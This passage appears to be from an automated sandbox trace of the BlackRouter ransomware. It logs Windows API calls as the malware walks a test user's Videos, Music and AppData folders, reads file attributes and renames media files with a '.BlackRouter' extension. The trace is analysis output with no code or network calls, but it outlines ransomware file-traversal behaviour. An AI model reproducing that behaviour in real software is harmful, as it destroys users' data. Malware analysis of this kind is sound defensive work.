ftCreationTime.dwHighDateTime=0x1d4564d, ftLastAccessTime.dwLowDateTime=0xd9ec4cc0, ftLastAccessTime.dwHighDateTime=0x1d45f88, ftLastWriteTime.dwLowDateTime=0xc0128950, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x25f0)) returned 1 [0042.887] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\fOoWS4uacQpc.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\foows4uacqpc.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\fOoWS4uacQpc.avi.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\foows4uacqpc.avi.blackrouter")) returned 1 [0042.888] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x34e3 [0042.893] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\WiIlvI5.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\wiilvi5.avi"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63a8c9f0, ftCreationTime.dwHighDateTime=0x1d46567, ftLastAccessTime.dwLowDateTime=0x3652bcb0, ftLastAccessTime.dwHighDateTime=0x1d46420, ftLastWriteTime.dwLowDateTime=0xc014eab0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x34f0)) returned 1 [0042.893] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\WiIlvI5.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\wiilvi5.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\WiIlvI5.avi.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\wiilvi5.avi.blackrouter")) returned 1 [0042.894] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x153c5 [0042.954] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\l-oDHaOMc-pwahV m.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\l-odhaomc-pwahv m.mp4"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87a6e670, ftCreationTime.dwHighDateTime=0x1d45a2c, ftLastAccessTime.dwLowDateTime=0x74cbe840, ftLastAccessTime.dwHighDateTime=0x1d458cc, ftLastWriteTime.dwLowDateTime=0xc01e7030, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x153d0)) returned 1 [0042.954] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\l-oDHaOMc-pwahV m.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\l-odhaomc-pwahv m.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\l-oDHaOMc-pwahV m.mp4.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\l-odhaomc-pwahv m.mp4.blackrouter")) returned 1 [0042.955] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x106e6 [0042.960] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\A98EDZHct GyJbhsO.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\a98edzhct gyjbhso.mkv"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x231bcdd0, ftCreationTime.dwHighDateTime=0x1d4646b, ftLastAccessTime.dwLowDateTime=0x8437d7d0, ftLastAccessTime.dwHighDateTime=0x1d465e7, ftLastWriteTime.dwLowDateTime=0xc01e7030, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x106f0)) returned 1 [0042.961] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\A98EDZHct GyJbhsO.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\a98edzhct gyjbhso.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\A98EDZHct GyJbhsO.mkv.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\a98edzhct gyjbhso.mkv.blackrouter")) returned 1 [0042.961] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0xb1be [0042.966] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\9ZxG93RMiG.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\9zxg93rmig.flv"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa9248a0, ftCreationTime.dwHighDateTime=0x1d461b6, ftLastAccessTime.dwLowDateTime=0x556308c0, ftLastAccessTime.dwHighDateTime=0x1d459ea, ftLastWriteTime.dwLowDateTime=0xc01e7030, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xb1c0)) returned 1 [0042.966] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\9ZxG93RMiG.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\9zxg93rmig.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\9ZxG93RMiG.flv.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\9zxg93rmig.flv.blackrouter")) returned 1 [0042.972] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.972] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.973] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.973] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.975] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x564e [0042.978] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\HCIo7hd2D_NZf\\9g8LOuisZySW.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\hcio7hd2d_nzf\\9g8louiszysw.swf"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9354f5b0, ftCreationTime.dwHighDateTime=0x1d45988, ftLastAccessTime.dwLowDateTime=0x79fddba0, ftLastAccessTime.dwHighDateTime=0x1d45d6f, ftLastWriteTime.dwLowDateTime=0xc020d190, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x5650)) returned 1 [0042.978] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\HCIo7hd2D_NZf\\9g8LOuisZySW.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\hcio7hd2d_nzf\\9g8louiszysw.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\HCIo7hd2D_NZf\\9g8LOuisZySW.swf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\hcio7hd2d_nzf\\9g8louiszysw.swf.blackrouter")) returned 1 [0042.979] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0xe4b [0042.981] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\HCIo7hd2D_NZf\\gB_4Rb2oJ.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\hcio7hd2d_nzf\\gb_4rb2oj.swf"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd43cd0, ftCreationTime.dwHighDateTime=0x1d465e8, ftLastAccessTime.dwLowDateTime=0xba5f240, ftLastAccessTime.dwHighDateTime=0x1d46662, ftLastWriteTime.dwLowDateTime=0xc020d190, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xe50)) returned 1 [0042.981] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\HCIo7hd2D_NZf\\gB_4Rb2oJ.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\hcio7hd2d_nzf\\gb_4rb2oj.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\HCIo7hd2D_NZf\\gB_4Rb2oJ.swf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\hcio7hd2d_nzf\\gb_4rb2oj.swf.blackrouter")) returned 1 [0042.982] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0xdb4 [0042.985] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\HCIo7hd2D_NZf\\R8NmCRrojZcupdi.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\hcio7hd2d_nzf\\r8nmcrrojzcupdi.swf"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e5a0940, ftCreationTime.dwHighDateTime=0x1d45add, ftLastAccessTime.dwLowDateTime=0x24e9f190, ftLastAccessTime.dwHighDateTime=0x1d4584b, ftLastWriteTime.dwLowDateTime=0xc02332f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xdc0)) returned 1 [0042.985] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\HCIo7hd2D_NZf\\R8NmCRrojZcupdi.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\hcio7hd2d_nzf\\r8nmcrrojzcupdi.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\HCIo7hd2D_NZf\\R8NmCRrojZcupdi.swf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\hcio7hd2d_nzf\\r8nmcrrojzcupdi.swf.blackrouter")) returned 1 [0042.985] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x5b2f [0042.989] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\HCIo7hd2D_NZf\\VutX.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\hcio7hd2d_nzf\\vutx.swf"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x997a78b0, ftCreationTime.dwHighDateTime=0x1d45f5b, ftLastAccessTime.dwLowDateTime=0xb111f1e0, ftLastAccessTime.dwHighDateTime=0x1d45715, ftLastWriteTime.dwLowDateTime=0xc02332f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x5b30)) returned 1 [0042.989] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\HCIo7hd2D_NZf\\VutX.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\hcio7hd2d_nzf\\vutx.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\HCIo7hd2D_NZf\\VutX.swf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\hcio7hd2d_nzf\\vutx.swf.blackrouter")) returned 1 [0042.990] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x2858 [0042.993] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\HCIo7hd2D_NZf\\J3ZGyh2CF7dPtVFGf.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\hcio7hd2d_nzf\\j3zgyh2cf7dptvfgf.mp4"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39998920, ftCreationTime.dwHighDateTime=0x1d456c0, ftLastAccessTime.dwLowDateTime=0x76c4bb40, ftLastAccessTime.dwHighDateTime=0x1d46623, ftLastWriteTime.dwLowDateTime=0xc02332f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2860)) returned 1 [0042.993] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\HCIo7hd2D_NZf\\J3ZGyh2CF7dPtVFGf.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\hcio7hd2d_nzf\\j3zgyh2cf7dptvfgf.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\HCIo7hd2D_NZf\\J3ZGyh2CF7dPtVFGf.mp4.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\hcio7hd2d_nzf\\j3zgyh2cf7dptvfgf.mp4.blackrouter")) returned 1 [0042.993] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0xe471 [0042.998] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\HCIo7hd2D_NZf\\arDd4WERbeulzRq1JRy.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\hcio7hd2d_nzf\\ardd4werbeulzrq1jry.flv"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b15e0e0, ftCreationTime.dwHighDateTime=0x1d45ff1, ftLastAccessTime.dwLowDateTime=0x6f85dee0, ftLastAccessTime.dwHighDateTime=0x1d46407, ftLastWriteTime.dwLowDateTime=0xc02332f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xe480)) returned 1 [0042.998] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\HCIo7hd2D_NZf\\arDd4WERbeulzRq1JRy.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\hcio7hd2d_nzf\\ardd4werbeulzrq1jry.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\HCIo7hd2D_NZf\\arDd4WERbeulzRq1JRy.flv.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\hcio7hd2d_nzf\\ardd4werbeulzrq1jry.flv.blackrouter")) returned 1 [0043.003] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\HCIo7hd2D_NZf\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.003] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.004] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\HCIo7hd2D_NZf\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.004] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.006] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x1e67 [0043.009] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\E8N_b.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\e8n_b.swf"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb42bfaf0, ftCreationTime.dwHighDateTime=0x1d45c2a, ftLastAccessTime.dwLowDateTime=0x36582b60, ftLastAccessTime.dwHighDateTime=0x1d45821, ftLastWriteTime.dwLowDateTime=0xc0259450, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1e70)) returned 1 [0043.009] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\E8N_b.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\e8n_b.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\E8N_b.swf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\e8n_b.swf.blackrouter")) returned 1 [0043.010] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x10856 [0043.015] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\40i-SOEeWq5j 9nu.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\40i-soeewq5j 9nu.mkv"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2220a20, ftCreationTime.dwHighDateTime=0x1d4653e, ftLastAccessTime.dwLowDateTime=0xf14e6d90, ftLastAccessTime.dwHighDateTime=0x1d45cb2, ftLastWriteTime.dwLowDateTime=0xc027f5b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10860)) returned 1 [0043.015] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\40i-SOEeWq5j 9nu.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\40i-soeewq5j 9nu.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\40i-SOEeWq5j 9nu.mkv.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\40i-soeewq5j 9nu.mkv.blackrouter")) returned 1 [0043.024] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x14ebc [0043.029] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RD6FjyPEMclj9pbj.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rd6fjypemclj9pbj.mkv"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb727e50, ftCreationTime.dwHighDateTime=0x1d45ddf, ftLastAccessTime.dwLowDateTime=0xac518f60, ftLastAccessTime.dwHighDateTime=0x1d45730, ftLastWriteTime.dwLowDateTime=0xc027f5b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x14ec0)) returned 1 [0043.029] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RD6FjyPEMclj9pbj.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rd6fjypemclj9pbj.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RD6FjyPEMclj9pbj.mkv.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rd6fjypemclj9pbj.mkv.blackrouter")) returned 1 [0043.030] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x5dab [0043.034] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C3kGo51_AtVELB.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\c3kgo51_atvelb.flv"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb599600, ftCreationTime.dwHighDateTime=0x1d45ac0, ftLastAccessTime.dwLowDateTime=0x75ca3410, ftLastAccessTime.dwHighDateTime=0x1d45bae, ftLastWriteTime.dwLowDateTime=0xc02a5710, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x5db0)) returned 1 [0043.034] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C3kGo51_AtVELB.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\c3kgo51_atvelb.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C3kGo51_AtVELB.flv.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\c3kgo51_atvelb.flv.blackrouter")) returned 1 [0043.035] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x123df [0043.041] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\XYeB6f-IvPn448LqicJ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\xyeb6f-ivpn448lqicj.flv"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a8271c0, ftCreationTime.dwHighDateTime=0x1d45db9, ftLastAccessTime.dwLowDateTime=0x3e5eeac0, ftLastAccessTime.dwHighDateTime=0x1d464f5, ftLastWriteTime.dwLowDateTime=0xc02a5710, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x123e0)) returned 1 [0043.042] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\XYeB6f-IvPn448LqicJ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\xyeb6f-ivpn448lqicj.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\XYeB6f-IvPn448LqicJ.flv.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\xyeb6f-ivpn448lqicj.flv.blackrouter")) returned 1 [0043.049] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*.BAK~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.049] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.050] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*.CENON~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.050] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.056] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\gxKocGgw\\*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.056] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.057] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\gxKocGgw\\*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.057] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.064] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.064] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.065] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.065] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.072] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*.BAK~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.073] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.075] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*.CENON~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.075] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.082] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.082] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.083] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.083] 